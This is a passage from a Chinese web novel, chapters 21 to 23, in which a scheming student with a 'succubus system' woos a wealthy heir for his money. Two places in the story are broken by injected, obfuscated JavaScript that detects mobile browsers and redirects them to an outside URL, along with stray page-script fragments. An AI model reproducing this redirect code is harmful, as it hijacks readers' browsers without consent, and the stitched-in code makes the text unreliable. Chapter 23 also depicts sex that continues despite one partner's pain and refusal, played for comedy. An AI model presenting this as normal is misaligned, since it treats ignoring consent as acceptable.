最开始他真心实意地想帮梁文乐追到沈邵,但是现在被沈邵恶心了一道,还爱上梁文乐的钱,早就放弃初心。 叶临正想着,连忙给梁文乐打电话。 打了三次才接猜到梁文乐应该是生气,但还有回转的余地。 “你还知道给我打电话!” “文乐对不起,我哪里做错了,你可以跟我说。” “我特别讨厌你,滚远点!” 梁文乐派人查了叶临,发现这人从小就过得苦,但是没有出入酒吧那种混乱的场所,更没有恋爱经历,应该是干净无暇的。 看到叶临的详细资料,他的脑海里已经浮现出叶临穿着破旧的衣服,走在街边乞讨的模样,眼角还缀着泪水,特别可怜。 其实已经不介意叶临了,但就像顾嘉致说的那样:他只是玩玩,又不是真喜欢叶临,主动去亲密,岂不是显得很掉价。 所以就偏不联系叶临,非要等叶临来讨好他。 现在接到电话,心里高兴,但还是要故意吊着叶临。 旁边的圆圆从电话里听到叶临的声音,汪汪叫起来。 “文乐别啊,理理我嘛。我这几天都在想文乐,看不到文乐都要哭死了。” “滚,我再也不想见到你了!” 虽然电话很快就挂断了,但可以听出圆圆的叫声,梁文乐应该在别墅。 接电话就说明还愿意搭理他,现在过去就来得及。 面对给钱的老板,叶临情商还是很高的。 哪怕不知道错处,但见面诚恳道歉,梁文乐应该就会原谅他。 叶临马上打车去别墅,还忍痛花大价钱买了梁文乐喜欢的零食和玩偶。 别墅的大门紧闭,隔着门可以看见里面绿草如茵,白色的别墅建筑两边种满了昂贵的花种,白的黄的,看起来就像一幅油画。 没有佣人和管家们,依稀看见二楼窗户照出梁文乐的身影。 叶临只好大声喊:“文乐,我过来跟你道歉了,你开开门嘛!” 手机上传来梁文乐的语音:“滚,我现在不想看见你,讨厌死了!” 叶临继续喊:“别啊,我买了你喜欢的零食和玩偶跟你道歉,原谅我吧。” 梁文乐继续发语音回复:“反正我就是不想看见你,有本事你就站到天黑呗。” 叶临捏紧了手机,好想破口大骂“脑残”。 但他想到梁文乐站在二楼,应该是想看态度,现在绝对不能松懈。 “文乐,这几天你都不让我陪你上下学,我一直在想自己到底做错了什么,才惹得文乐不高兴。 想来想去,可能是我这个人太差劲了,所以才会被文乐嫌弃。 但我就算知道自己很差,还是想跟文乐待在一起。文乐太好了,就像........就像花,我是衬托文乐的叶。” 梁文乐被他稀少的词汇逗得笑起来,还蹲下来跟圆圆吐槽,没有再回复语音。 他觉得表姐说的对,叶临朴实笨拙,但就是别有魅力,很招人喜欢。 再晾一会儿就下去吧,也不能太便宜叶临了。 天色逐渐阴沉,飘来几朵厚重的乌云,大风把草吹出涟漪,眼看着就要下雨。 叶临盯着二楼看,还是没有得到梁文乐的回应,已经非常想走了。 但是他不能前功尽弃,必须把这棵摇钱树哄到手! 没一会儿,就有雨水掉下来,打在身上很冷。 叶临还没动脚,全身都湿了,干脆冲着二楼喊:“文乐你一天不出来,我就一天不走!我要呆在这里,直到你愿意出来见我!” 喊完,他都快被自己感动哭了。 果然,有这个毅力,他以后做什么都会成功的。 这个该死的梁文乐,现在是需要捧着的大少爷,日后还不是他的小跟班,以及事业的垫脚石! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483430|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶临越想越坚定,势必要把梁文乐的钱全骗到才罢休。 世界上大部分富翁,不都是历经磨难才发财的。淋会儿雨算什么,反正他身体好。 叶临不断地给自己下心理暗示,鼓励自己支撑住,哪怕冷得发抖。 很久,梁文乐才打着伞从别墅里出来,步伐轻快。 开门后看到叶临的脸色发白,颤抖着身体,连忙把伞举过头顶,数落道:“你笨死了,不会找地方躲雨吗?” 叶临抓住他的手腕:“文乐,你终于愿意见我了。” 梁文乐感觉到他手心的凉意,连忙拍开:“我就是怕你冻死在外面,污染环境才出来的,才不是担心你!” 叶临无奈地笑起来:“没事,文乐愿意见我就好。” 说完,叶临打开外衣,露出藏在里面的零食和玩偶:“文乐,我一直挡着雨,它们都没坏。虽然我知道文乐有很多好东西,看不上,但这是我能买到最好的东西,还是想给文乐。” 他的头发全湿了,紧紧地贴着头皮,本来很丑的,但是眼神真诚,就像是沙漠里的钻石,让人移不开眼。 虽然梁文乐从小就被家人捧在手心里,但都是有原则的,会要求他好好读书,要求他做个有礼貌的孩子,要求他情绪稳定。 从来没有人像叶临这样,无底线地纵容他。 在叶临这里,他可以毫无理由地发脾气,可以随便骂人,完全不用顾忌叶临会伤心。 梁文乐呼吸一滞,手中的伞差点落地,愣愣地看着叶临。 叶临那么低贱,却把一颗炽热的真心捧出来给他,任由他踩碎,毫无怨言。 现实生活中居然会有这种人吗,简直就像是只为他而生的? “文乐,你还生气吗?” 叶临手都快举酸了,暗骂梁文乐事精太难哄,但脸上还要做出伤心的表情。 梁文乐松开伞,低头去吻,手紧紧地搂住他,不再顾忌雨水。 哪怕瓢泼的大雨将他淋湿,也毫无寒意,快速跳动的心脏散发了炽烈的乐意,几乎要将他整个人烧没。 在这个瞬间,叶临就算是一片深海,他也要忽略窒息的危险,毅然决然地跳进去,纵享幸福欢愉。 “文,文乐,我们进屋吧,外面好冷。” 叶临好不容易才找到机会说话,又被梁文乐扣住手,难以行动。 淋了好久的雨,梁文乐才松开,抵着他的额头笑起来。 “叶临,你好搞笑,我从没见过你这种蠢人!” “哈哈哈哈,文乐你高兴就好。文乐的心就是我的心,我最怕文乐生气难受了,那样我也会很痛苦的。” “烦死你了!” 梁文乐嘴上骂,但心里却很高兴,拽着叶临进别墅,要他去泡热水澡。 等到叶临进浴室,梁文乐就亲手把零食和玩偶擦干,放在柜子的显眼处。 看了很久,还拿手机拍照发朋友圈。 配文:某个蠢货送过来的礼物,好丑! 下面很多人都问他是哪个蠢货,他都回复,“男朋友”。 没多久,叶临的手机就响起来。 梁文乐拿起来看,是顾嘉致的电话,还弹出消息。 【接电话,你又跑去找梁文乐了?】 【你到底什么意思?】 22. 第22章 梁文乐家里的浴缸泡澡很舒服,还有好闻的香氛,不亚于泡温泉。 叶临刚泡了一会儿,就听见门响,结果是梁文乐推门进来。 梁文乐把手机递给他:“为什么你会有顾嘉致的联系方式,还跟他在网上聊天?” 手机屏幕只有顾嘉致发的两条消息,还好这两句并不能看出什么。 他和顾嘉致住在一起,很少在网上聊天,都是现实交流。 就算有事也是电话沟通,网上不会发具体的消息。 而且自从上次被沈邵录音威胁后,他都有了心里阴影,会定期删除聊天记录,图片和音频,免得以后被别人威胁。 沈邵还用的三无小号加他,应该不会被看出来。 叶临解锁手机,递过去给梁文乐检查:“之前在酒吧喝酒,觉得顾嘉致有意思,就加了好友。我们关系还可以。这是文乐你买的手机,随便看吧。” 这个手机是梁文乐新买不久的,划一下消息记录就看完了,确实没什么出格的,都是正常朋友间的问候。 叶临的朋友圈很窄,联系人只有个位数,也没啥好看的。顾嘉致是直男,也不会跟叶临暧昧。 而且好听话,愿意给他检查手机。 梁文乐把手机还回去,表情嫌弃:“谁在意你手机上有什么联系人啊?不过听顾嘉致的语气,你经常跟他吐槽我吧,不然他干嘛问你又来找我?” 叶临把手机放在旁边,谄媚道:“因为顾嘉致是文乐的好朋友啊,知道文乐的喜恶。 我想要讨好文乐,就只能去问他了。他还跟我说,文乐是个非常好的人,让我用心对待呢。” 这句话没毛病,顾嘉致跟他的关系最好,想要得到他的欢心,朋友的助力也不必不可少。 梁文乐接受这个答案,才注意到叶临泡在热水里,皮肤都红了,而且看起来细腻丝滑,甚至........ 忽然间脸颊就开始发烫红了,心跳得很厉害。 像是被烫到,梁文乐连忙站起来退远,大声骂起来:“你,你洗澡好慢,烦死了!” 叶临立即起身,着急解释:“文乐,我很快的。” 梁文乐见状,吓得落荒而逃,门都忘记关,一股脑地跑到另外的房间,试图冷静下来。 “有病!”叶临看他走了,终于忍不住骂出声,但音量很小。 总算把这个难缠的小少爷哄好了。 真的很烦,他第一次见到梁文乐这种自作聪明,又蠢又烦,还矫情做作的富二代。 不过,蠢的富二代好拿钱,也只能将就了。 他少奋斗十年就能在大别墅里,悠闲自在地享受大浴缸泡澡,还是很满意的。 再继续泡了会儿,叶临换上睡衣回到卧室。 梁文乐正在一堆白白黄黄的玩偶之中玩手机,疯狂打字,也不知道在说些什么。 叶临走过去问:“文乐,我明天还可以陪你去上学吗?” 梁文乐连忙灭掉手机屏幕,做贼心虚地抬头看他:“你今天都打算在这里歇了,那就陪吧。” 叶临听到他的话,就在旁边躺下来:“文乐,你刚刚在跟谁聊天啊?” 梁文乐下意识就骂:“要你管!” 叶临此刻盖上被子,遮住半张脸,刚好露出一双无辜的眼睛,轻声道歉:“对不起。” 梁文乐看他头发蓬松柔软,眼睛湿漉漉的,像是小狗,又觉得自己太过分,缓和语气才回答:“在跟表姐聊天,反正你也听不懂。” 叶临立即拉下被子,脑子里还能浮现出穿黄裙子的陈琳瑜,惊喜道:“是那个大美女吗!” 梁文乐气得给了他一拳:“你以后不许提美女,更不能去找女生,我会生气的!” 叶临被他打中胸口,疼得脸色发白,只好求饶:“文乐我错了,你别打了,好疼。” 梁文乐躺下来,凑过去亲亲他,低声抱怨:“你活该。” 叶临只好顺着他:“文乐生气了,那我活该。” 梁文乐感觉叶临就像个熊熊玩偶活过来,用力抱进怀里,埋进颈窝。 叶临身上很香,穿着棉质睡衣还软,比玩偶的质感还要好,让人爱不释手。 他们又开始照常上下学,叶临还是扮演着男朋友兼仆人的角色,心甘情愿地被梁文乐使唤,又无微不至地照顾他。 学院里的很多人都知道叶临是梁文乐的男朋友,经常议论。 大都是在说这对情侣高颜值,还挺配的,还有少部分人觉得他们应该注意行为。 顾嘉致就是少部分人中的一个,看不惯梁文乐和叶临之间的小动作。 上课就上课嘛,低头说什么悄悄话,靠得那么近,额头都要紧紧贴着,还笑得很灿烂。 还有啊,经常能够看见他们两个人牵着手,或是在教室里,或是在走廊,或是操场,就像连体婴一样! 自从上次吵架过后,顾嘉致就觉得是自己太惯着叶临,才会让叶临登鼻子上眼。 所以他故意不联系叶临,又想再吊着他几天。 结果叶临转头就跑去找梁文乐,还在朋友圈里大秀恩爱。 甚至,至今都没回他的消息。 他们之间的聊天记录还停留在五天前,他发的消息,叶临像是没看见一样,完全不回。 在学校遇见了,叶临也没有跟他打招呼,完全把他当成空气。 叶临的眼睛里只剩下梁文乐,全天24小时围着梁文乐转。 他们才是热恋中的情侣,吵架和好后照常牵手接吻,同居约会。 这样合理呢? 明明应该是他不回叶临消息,是他掌握着主动权,是叶临需要他,是叶临乞求他,而不是他想着叶临。 顾嘉致想着想着,差点就把手中的笔捏断了,耳边又传来熟悉的打闹声。 “文乐文乐,你看我!” “哈哈哈哈,你好搞笑啊,像只小猪!” “文乐高兴就好,小猪也是你一个人。” “叶临,你靠过来点。” 梁文乐低着头,正要去吻,他已经很熟练了,轻易就能捕捉到叶临的弱点。 可是刚刚接触,就听到巨大的响声。 “砰——” 还是课间,整个教室里的人都被惊动了,纷纷看向顾嘉致。 只见他用力把面前的桌子踹倒,骂了一句:“恶心!” 叶临疑惑地看向旁边的顾嘉致,好奇他怎么突然发脾气,居然把桌子都踹倒了。 梁文乐太熟悉他了,这分明是指桑骂愧,站起来质问:“顾嘉致,你说我恶心?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483431|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾嘉致这次都没心情掩饰,扭过头看他,站在道德制高点上指责:“不然呢,这里是公共场合,你觉得自己很对吗?” 所有人都惊了,难以置信地看着他们。 因为这对朋友的关系很好,从来都是顾嘉致顺着梁文乐,绝对不会说出讽刺的话。 梁文乐也不敢相信顾嘉致会对自己说出这种话,愣了片刻才回应:“我就是觉得自己很对啊,所有人都没意见,就你有意见!” 小少爷日常不讲理,他才不管别人什么看法,都是由着自己来,这个时候当然不会退让。 顾嘉致走到梁文乐面前,指着他眉心骂:“梁文乐,你真把教室当你家了,这里是学习的地方!” 梁文乐眼神轻蔑:“对啊,只要我想,明天就可以把整个学校买下来!” 眼看着战火越燃越烈,马上就要打起来,已经有同学试着劝说。 叶临也不想事情闹大,挡在两个人之间,先劝梁文乐:“文乐,顾嘉致是直男,他受不了这些很正常,你就不要跟他计较了。” 梁文乐不甘示弱:“受不了就滚远点啊,偏要坐在我们旁边,不就是活该!” 顾嘉致又踹了凳子:“梁文乐,你知道自己现在多可笑吗,被这种货色迷得三魂五道,神志不清。到时候你就知道后悔了。” 梁文乐无奈道:“你有病啊,总挑拨我和叶临的关系做什么!” 叶临点点头附和,试图开玩笑缓和气氛:“就是就是,不知道还以为你喜欢文乐呢,突然犯病!” 顾嘉致听到他这句话凝噎了:“你觉得我,我喜欢他?” 周围的议论声更大,大都是在分析三个人之间的关系,甚至开始怀疑他们三角恋。 顾嘉致终于意识到脸面的重要性,风一样离开教室,不想再看见这对情侣。 凝重的气氛终于消散,众人得以松口气。 梁文乐跟顾嘉致是十多年的感情,就算吵架也不至于记恨。 只当是兄弟寡久了犯病,替他赔偿桌子和椅子的钱,还给在场每个同学发了五万块的红包,当做赔礼。 领到红包后,没人介意梁文乐今天的行为,还祝福他和叶临长长久久。 叶临也算领略到有钱任性,越发地渴望梁文乐的钱。 只不过他跟顾嘉致僵持,饥饿值累积不少,只能找另外的人消除了。 梁文乐也算个人选,毕竟长得还行。 但现在的梁文乐还停留在牵手亲吻的层面,毫无深入的意思,就很难。 其实他看顾嘉致很舒服,很好奇上位的感觉。 梁文乐懵懂好骗,应该能扑倒,让他也尝尝上位的滋味。 晚上回了别墅,他们照常坐着看电影。 情到深处,就会接吻。 叶临灵机一动,去抓梁文乐的手,凑到耳边低声道:“文乐,你想不想做那种事情?” 梁文乐了解过情侣之间的各种项目,这几天接吻的时候也会想要更多,但总感觉太快了,所以一直在等。 没想到会是叶临先提出来,脸颊都烫起来:“什,什么事?” 叶临见计谋得逞,心里得意。 既然小少爷不懂,那他就有机会了。 “文乐,你先闭眼......” 23-30 第23章 第23章“你,你快帮我……”…… 梁文乐闭上眼,想看看叶临能有什么动作。 结果先是凉意,紧接着就是痒意。 时有时没有,还毫无章法,感觉就是在乱来。 梁文乐睁开眼就看见叶临眼神迷茫,手不知道放在什么地方,忍不住笑出来。 “你要做什么呢?” “我,我就是” 叶临看着梁文乐,又看看自己,苦思冥想,好一会儿还是没想起来具体流程。 当时顾嘉致怎么操作的来着,一会儿这样,一会儿那样,然后他们就 靠啊,真的搞不懂男人和男人之间怎么来? 算了,就采取基础的吧,饥饿值不能再涨下去了。 叶临放弃上位,只是单纯地互助。 只是他没想到,梁文乐脸长得精致,居然跟顾嘉致不相上下,有点难办。 “叶,叶临你” 梁文乐靠着叶临的肩膀,呼吸都变得灼热,声音发颤。 他是个毫无经验的,怎么可能抵得过熟练的技巧,很快就坚持不住。 “文乐,你也太” 叶临看看手心,又抬头去看梁文乐。 正想调侃一句,却发现他的脸颊涨红,眼神凶狠,顿时不敢说了。 梁文乐气愤地回击:“你不许说!” 叶临强忍着笑意:“不说不说,其实文乐已经很好了” 夸到这里,他实在是夸不下去。 男人生来就在意时间。长。短,就算再伪装,都要憋不住笑意。 梁文乐的脸色越来越差劲,猛然将他推倒:“你再笑,我就,我就弄死你!” 叶临挥挥手,笑容更加放肆:“不笑了,真的不笑了” 没多久,他的笑容就僵住了,惊恐地看着梁文乐:“文,文乐是你来啊?” 梁文乐凑过去吻他:“本来就是我,你这么小巧精致,哪里能啊?” 可恶啊,要是别人嘲笑他小巧,他早就骂回去了,偏偏是文乐,那还是忍忍吧。 叶临还想挣扎,但是他发现梁文乐的体型比自己大,难以抵抗,只能被迫沦陷。 梁文乐五官立体是因为混血的缘故,同时体型并不瘦弱,脱下外衣后,就像是希腊雕像,宽窄有度,线条流畅,区域饱满。 感觉他太粘人了,比萨摩耶扑上来还要离谱。 温度很快上升,就像是进了蒸笼里面,细密的汗珠都要冒出来。 而且狗狗最喜欢舔人类,以此表达自己的喜欢,频繁得过分。 这是在完全清醒的状态下,每一次呼吸,每一个动作,都能够清晰地感知。 比起顾嘉致松弛有度,总感觉梁文乐的胡乱不靠谱。 “文,文乐还,还是我来吧。”叶临是真的怕,试图说服:“我肯定不会让你难受的。” “不要不要,我和你说,我很会的。”梁文乐信誓旦旦,拉开柜子,翻出很多东西。 这瞬间就像是回到最初的赛车场上,他满口都是车技一流,肯定能够力压沈邵,成为第一名。 “这不是游戏啊,文乐,我觉得我们还是从长计议吧。”叶临领教过他稀烂的开车技术,看到他的青涩举动就担心,继续劝说。 然而很快,他就说不出话了,只能惨叫。 梁文乐确实是个游戏新手,战斗的时候完全不管猎物是否会存活,抡起武器就是框框地揍。 除此之外,看到猎物几欲昏死,他还不知道使用治疗药物,像个笨蛋站在旁边,毫无作为。 有一瞬间,叶临眼前黑暗,怀疑自己要死在这里,再也见不到明天的太阳。 可是他又被梁文乐的声唤回魂,奄奄一息地看着周围,感觉像是在地府,毫无不真实。 梁文乐看他的脸色惨白,五官都要皱成一团,也被吓到了,连忙摇晃肩膀,叫他的名字。 “叶临,你没事吧?” “有事,我感觉我快死了。” “那怎么办啊,我,我不知道你会这样的,明明电影里很顺利的。” 梁文乐的表情无辜,其实他也难受,但能感觉到叶临更凄惨,所以难得体谅一次,急切地询问。 叶临说话都是有气无力的:“要不然,你放弃吧。” 梁文乐试着照做,结果又听到惨叫声,只好建议:“好像慢慢就会习惯的,叶临你就忍忍吧。” “不!” 叶临还没来得及阻止,就哭出来,眼泪直流,全是真情实意,毫无表演痕迹。 梁文乐心疼他哭,只好吻去眼泪,努力调整,试图让他开心。 然而过了好一会儿,都没有多少进步。 叶临甚至怀疑自己是疼麻了,居然有心情指导梁文乐。 这也算一种可悲的自救办法吧,总不能纯被折磨吧。 “文乐,你往左一点。” “好。” 可是老司机也带不动蠢货新手,他都说往左了,还能找错方向,停不到地方。 天杀的,梁文乐怎么配做男人,太差劲了! 叶临又想哭,但是旁边的梁文乐倒是自得乐趣,还一直问他:“这样吗,这样吗?” 这样个屁啊,你个脑瘫,干脆塞回娘胎重塑算了! 得不到回应,梁文乐的表情就会垮下来,试着说“我会努力的”。 但是次数一多又抱怨,“你,你就不能体谅我嘛!” 天哪,谁体谅谁啊! 叶临演都不演了,干脆闭上眼睛当尸体。 他算是深刻地领悟了,为什么以前网上总有帖子吐槽:情侣当中的一方要会演戏,这样爱情才会长久。 他不想跟梁文乐谈恋爱,只是想赚个钱,都差点把命搭进去,才不演呢,烦死了! 这种事情就是你来我往才有趣,如果只有一方坚守,另外一方感情冷漠,就会变得乏味。 梁文乐试着讨好叶临,低声抱怨:“你都不理我,好过分。” 叶临抬眼看他,有种想扇他耳光的冲动,但只是平静地阴阳怪气:“你高兴就行,反正我死活无所谓。” 梁文乐听出他的嘲讽意味,知道很难受了,只好放弃说话,尝试提升自己。 可就跟他喜欢赛车一样,人菜瘾大。 叶临憋不住,又开始哭了。 他可以忍骂,忍打,但是不能忍这种痛,只好求饶:“文乐,算我求求你了,别折磨我,去找别人吧。” 梁文乐听到这句就生气,低头亲他:“我才不会去找别人呢,我就喜欢跟你做这种事情。” 叶临听不进话,脑子里只剩下梁文乐得意地奸笑,嘴里说着,“我就喜欢折磨你,嘿嘿嘿!” 没一会儿他就失去了意识,也算得到解脱。 梦很长,就像是在大雾中穿行,来到一栋别墅。 梁文乐穿着白色的西装站在门口,微微弯腰,像个绅士,还催他快点过来。 叶临吓得拔腿就跑,结果却听到可能梁文乐在旁边飘着,冲他招手笑。 不管他怎么加速,梁文乐始终漂浮在旁边,微笑着让他不要跑,继续享受快乐的二人世界。 这不是人,已经是鬼了! 叶临跑到最后,双腿都累断了,瘫倒在地,绝望地哭喊救命。 醒来的时候,他还叫了一声“救命!” 结果下一刻,手就被紧紧地握住,抬眼就看到蹙眉的梁文乐,神情担忧地看着他,柔声问道:“你做噩梦了吗?” 叶临看到他的脸,瞬间就收回手,大叫起来:“啊啊啊!” 梁文乐无法理解,但还是把他按回去,还特别贴心地轻拍被子:“没事了,没事了,这里是现实,不是梦里。” 这更绝望! 叶临的意识回笼,刺痛感就传过来,甚至还掺杂着撕裂的痛楚感,让他疼得倒吸冷气。 梁文乐面露愧疚,小声解释:“我让医生来看过,出血了,确实挺严重的,需要休养十天才会好。” 叶临听完心都死了,喃喃道:“出血了,我居然还活着?” 梁文乐继续安抚他:“你放心好了,我都是用最好的药,你会很快康复的。” 叶临面如土色,不再说话。 他感觉自己遭受了人生中最大的苦难,哪怕初中骑摩托出车祸,都没有现在疼。 梁文乐听过医生的描述,知道自己很过分,严重地伤害叶临,心里非常愧疚,只好继续找补:“我请假了,这十天都会陪着你。” 叶临闭上眼:“你还是去上学,让我一个人休息吧。” 梁文乐把一堆礼物盒拿出来,放在他旁边:“这些手表和首饰都是我送你的,你别伤心了。” 叶临偏过头去看,发现有六块表,是劳力士,江诗丹顿,百达翡丽这些牌子,个个价值百万。还有颜色和净度都超好的红蓝宝石,应该价值千万。 粗略估计,这些小东西至少价值六千万。 昨天折腾那么久,也才靠魅魔系统痛赚一百多万而已,哪里比得上今天。 梁文乐把手表拿出来放在他的手里:“这些都是我挑了好久的,很配你的肤色,不喜欢吗?” 叶临连连点头赞赏:“喜欢喜欢,你的眼光真好!” 梁文乐把东西放在旁边,抓住他的手,轻声道:“那你不要伤心了。” 说不生气是假的,但是面对六千万,叶临还是动摇了。 怪不得,梁文乐昨天能说出买学校的话,他是真有钱。 有钱能使鬼推磨,六千万就像是一剂良药,治好了叶临的嘲讽症。 他张口就来:“其实我也不是伤心,就是太疼了,而且文乐你也不管我,所以就很怕。” 梁文乐连忙承诺:“我下次肯定会听你的,绝对不乱来了。” 叶临忍不住翻白眼,快要演不下去:“那还是不要有下次吧,好痛啊。” 梁文乐又非常自信:“可是这种事情就要多练才会好,我就是缺乏经验,需要多多学习,你可以陪我进步啊。” 无语,这种就是靠天赋的好吧!废物根本不可能有改变,服了! 叶临在心里骂了几百遍,面上又要勉强微笑:“再说吧,短期内我不想了。” 梁文乐赞同:“对的,医生也要你好好修养。” 叶临欲哭无泪:“一直休养吧,我觉得这种事情还是不要强求。” 梁文乐其实很喜欢昨天的感觉,就像是打开了新世界,很好奇,想四处探索,寻找不同的美景。 听到叶临不情愿,又有了怨气:“那我本来就觉得进度太快了,所以只跟你牵手接吻,是你昨天晚上非要的!” 话又说回来了,如果不是他昨天发神经,非要学顾嘉致,也不会落到这个下场。 叶临悔不当初,他现在明白了,男人和男人很不容易,能遇到一个顾嘉致配合默契,非常难得的了。 梁文乐低头去亲他的脸颊,商量着:“等你好了,我们再慢慢试吧。” 试你个头,跟有病似的,自己多少能力,心里没数啊! 叶临看在六千万的份上没骂出来,只是敷衍画饼:“好吧,到时候再说。” 梁文乐高兴了,非要躺下来搂着他,说很多话。 他像个话唠,把童年,少年的事情都说一遍,恨不得跟叶临分享成长中的每个细节。 完事了还要摇晃叶临的肩膀,要求他说自己过去的往事。 叶临懒得回应他,干脆撒谎肚子饿,要吃饭。 梁文乐就让人把东西端过来,全部都是清淡的流食,以及补充气血的药材。 叶临怀疑自己吃完,连上吊的力气都没有,但还是吃了,免得饿死。 这次的伤势严重,他足足躺了五天才稍微有力气坐起来,但依然很痛苦。 毕竟,他已经连着吃了五天的流食,还得继续吃五天,真是要命。 这几天,圆圆经常会跑进卧室里,绕着床汪汪叫,还抬起胖乎乎的爪子去碰床沿,希望叶临摸摸自己。 但叶临只能看着它眼巴巴等待的样子,无能为力。 外面的天气很好,阳光照得草坪绿得发油,微风吹过梧桐叶,发出哗哗的声响,有淡淡的玫瑰花香飘进来。 这样美好的日子,他却只能呆在卧室里,像个监狱里的囚徒。 叶临心中对梁文乐的怨恨更深了,偏头去看床头的礼物盒,感觉自己都是靠受罪赚的辛苦钱,好命苦! “汪汪汪!”圆圆感应到主人,朝着卧室门口跑去,狂蹭梁文乐的脚。 梁文乐弯腰摸摸它的头,看向叶临:“今天要不要在院子里玩,刚好圆圆很想出去。” 叶临立即躺下来,用被子蒙住自己:“算了吧,我还是疼。” 梁文乐叹息一声,走过去对他道歉:“好吧,对不起。” 叶临没说话。 梁文乐又说:“叶临,我很少跟人道歉的。” 叶临掀开被子看他,眼神暗淡无光:“啊,真是荣幸之至。” 梁文乐的怒火腾得窜上来,他不喜欢看见这样的叶临,就像是枯萎的植物,哪哪都不顺眼。 可是叶临确实受伤了,需要静养。 好吧,那就暂时忍耐。 于是从小被娇纵的梁少爷,在面对喜欢的人学会了忍耐和宽容。 他把圆圆抱出卧室,回去继续陪叶临。 第十天,叶临终于恢复,可以下床活动,身上出现了久违的生机。 他先大吃一顿,再把值钱的表和宝石存进银行的保险柜里,保证安全。 梁文乐嫌弃他的衣服重复,又带他去买几十件新衣服,还给了两千万零花钱。 于是叶临又高兴地陪着梁少爷上学。 只不过,他好久都没看见顾嘉致。 听说这十天里,顾嘉致都没来上课,混迹在酒吧里,天天喝酒,醉生梦死。 难道是跟梁文乐吵架,所以受刺激了,要去借酒消愁。 但他和梁文乐的关系很塑料,不至于吧。 叶临之前还埋怨顾嘉致,现在又念着顾嘉致的好了。 至少顾嘉致很听话,而且技术高超,跟梁文乐简直是云泥之别。 这哥俩经验都少,但顾嘉致第一次就无师自通,欲罢不能,梁文乐就很糟糕了,全程折磨。 【饥饿值50,宿主请注意补充。】 唉,十天过去,饥饿值又开始上涨了。 就不能是负的吗,上次梁文乐那么差劲,饥饿值理应到负数。 【宿主,饥饿值没有负数。】 行吧。 叶临托腮看黑板,目光在教室里游离,试图找到熟悉的身影。 梁文乐又在旁边叨叨:“你怎么不跟我说你以前的事情,就我在说。” 叶临故作可怜:“我以前很惨,不想回忆。文乐,那你现在还回外婆家吗?” 梁文乐拿起笔在纸上画:“我外婆家在南半球,每年冬天都会回啊,那边是夏季可舒服了。 对了,我外婆家比这个大学还要大几倍,里面有很多可爱的动物,你肯定喜欢。” 画面上是恢宏大气的庄园,有鹿,羊驼,小熊等等动物。 他的字迹丑得离谱,但是画工很强,寥寥几笔就勾勒出一个童话般的世界。 梁文乐画画的时候,身上会有种艺术家的气息,自由散漫,无拘无束。 叶*临由衷地感慨:“那你外婆家挺有钱的,比你奶奶家有钱吧。” 梁家是几十年累积的财富,远远不及梁文乐外婆这种几百年累积的老钱世家,还是贵族。 梁文乐摇摇头:“不能这样比吧,外婆和奶奶对我很好。不过我带你去见外婆,她肯定很喜欢你。” 叶临附和两句,又在想念顾嘉致。 如果他跟顾嘉致的关系还跟以前一样好,现在完全不用愁饥饿值。 人就是要对比,才知道好坏,在梁文乐的衬托下,顾嘉致就变得非常好,是值得深交的好友。 想到还没回顾嘉致的消息,叶临打开手机,趁着梁文乐忙着跟朋友聊天,发消息过去。 【这几天有事,所以没回你。】 【嘉致,你不会真生我的气了吧?】 【嘉致,你怎么没来上课啊,又跑出去散心了?】 【我那天说话确实太重了,抱歉啊。】 【但这几天确实是被梁文乐缠着了,所以没有及时回你消息,你不要生气。】 五条消息发出去半个小时,都没有得到回复。 可是顾嘉致又没有拉黑他,应该还有转圜的余地,那就再等等吧。 叶临也没有想到,短短十天,他就从有理的那一方沦落到主动乞求。 确实是梁文乐太逆天,但凡有一点好,也不至于如此想念顾嘉致。 晚饭照旧是在附近的餐厅吃,半道上遇到梁文乐的几个朋友,大家就凑在一起去附近的会所玩。 叶临不想跟这些人有过多交流,都是在旁边默默地吃东西。 舞台上有几个帅哥美女在扭腰跳舞,手里拿着话筒唱歌,彩灯绚烂,会所里的氛围暧昧。 梁文乐注意到舞台上有几个美女,挥挥手:“让她们领钱提前下去吧,后面不要再上女的了。” 美女们都弯腰感谢梁文乐,美滋滋地离开。 她们都知道梁文乐出手大方,今天晚上工作时间短,赚得还是平时的十几倍,当然高兴。 朋友忍不住问:“文乐你不喜欢女的,哥几个还喜欢呢,你都不让她们来,我们可惨了。” 梁文乐看向叶临,恶狠狠地说:“反正我在就不能有,你们不爽可以走啊。” 朋友们都知道他的脾气,只好接受,顺道提起顾嘉致:“文乐,最近怎么没看见你和嘉致玩了?” 有人解释:“唉呀,文乐和嘉致在教室大吵了一架,估计心里郁闷吧。” 又有人劝:“文乐,你和嘉致也是十几年的交情了,好几天过去也该和好了。” 叶临听到他们的谈话,凑过去问:“顾嘉致最近在哪里,都没看见他来上学?” 有人回答:“天天在酒吧买醉呗,后面被爸妈发现了,就在隔壁市颓废,也不知道怎么了?” 梁文乐听他说的那么凄惨,心有不忍:“这么脆弱吗,不就是吵了两句嘛。” 叶临点点头:“就是啊,感觉不像是能伤心到买醉的程度。” 有人又说:“那我组个局约嘉致来玩,文乐你就趁机跟他说清楚。” 梁文乐也不想跟朋友闹翻:“好吧。” 叶临心想到时候就能见到顾嘉致,现在也不着急。 梁文乐注意到对面的朋友在跟男酒保调。情,于是把酒瓶递给叶临:“你喂我喝。” 